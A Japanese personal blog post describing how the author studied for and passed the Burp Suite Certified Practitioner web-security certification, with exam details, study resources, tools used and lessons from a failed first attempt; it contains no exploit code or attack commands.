(※本記事は2024/02現在の情報に基づき作成しています)

 

 

Burp Suite Certified Practitionerについて

そもそもBurp Suite Certified Practitionerとは?

本資格を作成したPortSwiggerによると「Webセキュリティ脆弱性に関する深い知識、脆弱性を悪用するための正しい考え方、そしてそれを実行するために必要なBurp Suiteのスキルを証明することができます」とのことです(詳細:PortSwigger: What is a Burp Suite Certified Practitioner?)

試験の概要
  • 試験時間: 4時間
  • 費用: $ 99
  • 有効期間: 5年間
  • 使用ツール:Burp Suite Pro Edition (Free trialでも可)
  • 再受験の制約:なし。2日連続でも受験できます。
  • 受験予約:必要なし。好きな時間に受験できます。
受験資格
  • 受験時点でBurp Suite Pro Edition(有料版)が使用可能なこと
  • Web Security AcademyのDashboardにあるExam preparation stepsを完了していること... 等

Exam preparation stepsの見た目

 

事前スキルレベル

まだまだ不勉強ですので精進します...

  • Webアプリケーション開発経験8ヶ月
  • 2023/06: 応用情報技術者試験合格
  • 2023/12: 情報処理安全確保支援士試験合格

その他

  • TryHackMe: Red Teaming等、基本と攻撃系のLearning Pathsは一通り完了しています。セキュリティ初心者にも優しい学習教材だと思います。
  • Proving Grounds Practice:  Offensive Security社提供の学習コンテンツです。EasyやIntermediateのLABを15個解いていました。
  • TOEIC 800: Web Security Academyの内容は全文英語ですので、ある程度の英語力が求められますが、DeepLなどの翻訳ツールを活用すれば問題ないと思います。

 

BSCP取得までにかかったトータルの時間と費用

総学習時間

450時間

総費用

$198 (受験費用$99 × 2)

Burp Suite Pro Editionは年額$449です。

初回に限り30日間のFree trialが利用可能で、私はFree trial期間に合格しました。

 

学習教材と学習方法

 

学習教材

Web Security Academy

BSCPの試験問題はWeb Security AcademyのPractitionerレベル以下のLABを改変したものがランダムで出題されます。

XSSやSQLi、Web LLM attack等、30ものトピックがあり、実際にエクスプロイトを試すことができる"LAB"が264個もあります。

完全無料ですが、一部、Burp Suite Pro Edition(有料版)の機能を使わないと解けないLABがあります。

『体系的に学ぶ 安全なWebアプリケーションの作り方 第2版』

私はWeb Security Academyのトピックを一通り進めた後、関連する部分を読み返していました。

Web Security Academyもすでに十分わかりやすいですが、本著を読み返すことで知識が「体系的に」整理される気がします。

 

学習方法

流れはざっくり以下のようになります:

    1. Burp Suite Community Edition(無料版)を使い、解決可能なPractitionerレベル以下のLABをすべて解きつつ、Obsidianでノートを作成
    2. Burp Suite Pro EditiionのFree trialを開始し、残りのLABを消化
    3. Mystery lab challenge*1に取り組み、ヌケモレがないようにCheat sheetを作成
    4. Practice exam(模擬試験)を2回分受験する
    5. 試験本番!

LABには"Community solution"という動画での解決策があり、序盤は必ず確認していました。便利なBurp Suiteの使い方を学ぶことができるのでご覧になることをお勧めします。特にRana KhalilIntigritiの動画がお勧めです。

Community EditionではPro Editionで利用可能な、自動で脆弱性を検知・悪用できるScanner等の一部機能が使えません

私は金銭的な理由でCommunitiy Editionを使いましたが、これにより手動で検知・悪用する経験を積めたので、経験が浅い私にはよかったのかもしれないです。

しかし、すでにある程度知識や経験のある方はPro Editionを使用した方が良いと思います(Pro Editionを使用しても十分に難しいと思います)。

 

試験範囲はPractitionerレベル以下ですが、Expert LABも学びが多いのでこれからやっていこうと思います。

以下は私の達成状況です。(2024/02/23時点)

 

私のWeb Security Academy progress
⚠️Free trialの注意点

Burp Suite Pro Editionの30日Free trialはGmailなどの個人用メールアドレスでは利用できません。ビジネス用のメールアドレスが必要です。

私は個人用メールアドレスを使用していましたが、その時点でLABの進捗が83%であることを示して、ダメ元でFree trialを利用させてもらえないかとサポートチームに連絡したところ、なんとかFree trialを開始させてもらいました。再現性は低いです(無理ならドメインをレンタルしようと考えていました)。以下はそのときのPortSwiggerからの返信です。

PortSwiggerサポートチームからのメール返信

 

利用したBurp Suiteの拡張機能

  • JWT Editor
  • Param Miner
  • HTTP Request Smuggler
  • HackVertor
  • InQL - GraphQL Scanner
  • Content Type Convertor
  • Server-Side Prototype Pollution Scanner

 

利用した外部ツール

  • Insecure deserialization
  • SQL Injection: sqlmap
    • 学習時は一切使用していません(使っていいとは思ってなかった)。
  • GraphQL API vulnerabilities: GRAPHQL VOYAGER
    • GraphQLのSchema情報を取得した後、それを視覚化するために使用。
  • SSTI (Server-Side Template Injection): SSTImap

 

受験本番

一度目の受験(2024/02/22)

一度落ちました...。

敗因は2つあり、①自動ツールへの理解不足②リラックス不足です。

 

2つあるうちの1つのアプリは順調にクリアしました。

2つ目のアプリでは、VictimのHTTPリクエストをキャプチャすることでCookieを窃取してアカウントを侵害する必要がありました(⚠️ネタバレではないです)。

少し手間取りながらも、なんとかCookieを窃取できました。

しかし、獲得したFootholdを安定化させず、すぐにPrivilege Escalationのための自動ツールを走らせてしまいました。

その時、Webアプリが落ちてCookieが無効になったので、もう一度リクエストをキャプチャしました。しかし、何度やってもVictimのリクエストをキャプチャできません。

原因が自動ツールであることに気づいたのは試験終了5分前でした。非常に悔しい経験でした。

二度目の受験(2024/02/23)

合格する自信はあったので翌日に再受験しました。

一度失敗を経験すると不思議と落ち着くものです。自動ツールも必要な時に把握できる範囲で走らせるようにしました。

結果、運もあるとは思いますが、試験が4時間のところを1時間55分でクリアできました。

 

反省点

挙げ始めたらキリがないですが大体こんな感じです:

  • Cheat sheet作成を念頭においておらず、終盤でCheat sheetを作成するときにまとめに時間がかかった
    • 各LABのsolutionをメモして参照できるようにしておいた方がいいです。試験は各LABのsolutionをアレンジした問題が出題されます。
  • JavaScriptの理解が足りなかった。XSS等で苦労した。
  • Obfuscation(難読化)の実践が足りなかった。
  • アカウントを侵害したらまずは安定化させるべきだった
    • 何かエラーが起きた時でも、すぐに原状回復できるようにしておくという意味。
    • エクスプロイト方法を詳細にメモしたり、Victimのパスワードを任意の値に変更しておく等

 

おわりに

とても楽しみながらWebセキュリティについて広く深く学習できましたが、まだまだ勉強が足りないことがわかったので、意図的に脆弱なWebアプリケーションを開発するなどして理解をさらに深めていけたらと思っています。

Webセキュリティがもっと好きになったので、これからも精進していきます!

ご一読ありがとうございました。

*1:何も情報がないところからLABを解く」チャレンジのこと